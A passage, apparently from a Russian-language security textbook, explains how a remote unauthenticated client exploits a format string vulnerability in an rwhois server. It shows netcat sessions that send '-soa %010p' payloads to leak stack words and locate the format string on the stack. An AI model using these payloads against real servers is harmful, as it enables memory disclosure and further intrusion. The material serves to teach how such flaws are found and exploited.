В этом примере причиной вывода сервером отрицательного целого числа
Уязвимость форматирующей строки можно определить, анализируя исходный текст программы и ее поведение. После этого можно решить, как употребить найденную уязвимость. Уязвимостью форматирующей строки может воспользоваться удаленный сетевой клиент. Для этого аутентификация клиента не нужна, и вполне возможно, что этим сможет воспользоваться злоумышленник, чтобы получить доступ к главному хосту.
В аналогичных случаях, когда программа выводит отформатированную строку, злоумышленник может прочитать содержимое стека памяти и успешно воспользоваться его содержимым. Слова памяти могут быть прочитаны следующим способом:[dma@victim server]$ nc localhost 4321
%rwhois V-1.5:003fff:00 victim (by Network Solutions, Inc.
V-1.5.7.1)
-soa %010p
%error 340 Invalid Authority Area: 0xbffff935
-soa %010p%010p
%error 340 Invalid Authority Area: 0xbffff9350x0807fa80
-soa %010p%010p%010p
%error 340 Invalid Authority Area:
0xbffff9350x0807fa800x00000001
-soa %010p%010p%010p%010p
%error 340 Invalid Authority Area:
0xbffff9350x0807fa800x000000010x08081cd8В этом примере клиент восстановил одно, два, три и четыре слова из стека. Программа отформатировала слова таким образом, чтобы их можно было использовать для дальнейшей автоматической обработки. Хорошо написанная программа атаки может воспользоваться приведенной в примере отформатированной строкой для восстановления структуры стека процесса, выполняющегося на сервере. Программа атаки может читать данные из стека до тех пор, пока не найдет в стеке место хранения форматирующей строки, а затем автоматически вычислить в ней нужную программе позицию спецификации преобразования
%rwhois V-1.5:003fff:00 victim (by Network Solutions, Inc.
V-1.5.7.1)
-soa %010p%010p%010p%010p%010p%010p%010p%010p%010p%010p%010p
%010p%010p%010p%010p%010p%010p%010p%010p%010p%010p%010p%010p%010p
%010p%c%c%c%c%c
%error 340 Invalid Authority Area: 0xbffff9350x0807fa800x000
000010x0807fc300xbffff8f40x0804f21e0xbffff9350xbffff9350xbff
ff90c0x0804a6a30xbffff935(nil)0xbffff9300xbffffb640xbffff920
0x0804eca10xbffff9300xbffff9300x000000040xbffffb300x0804ef4e
0xbffff9300x000000050x616f732d0x31302500 010%pВ рассмотренном примере клиент использует функцию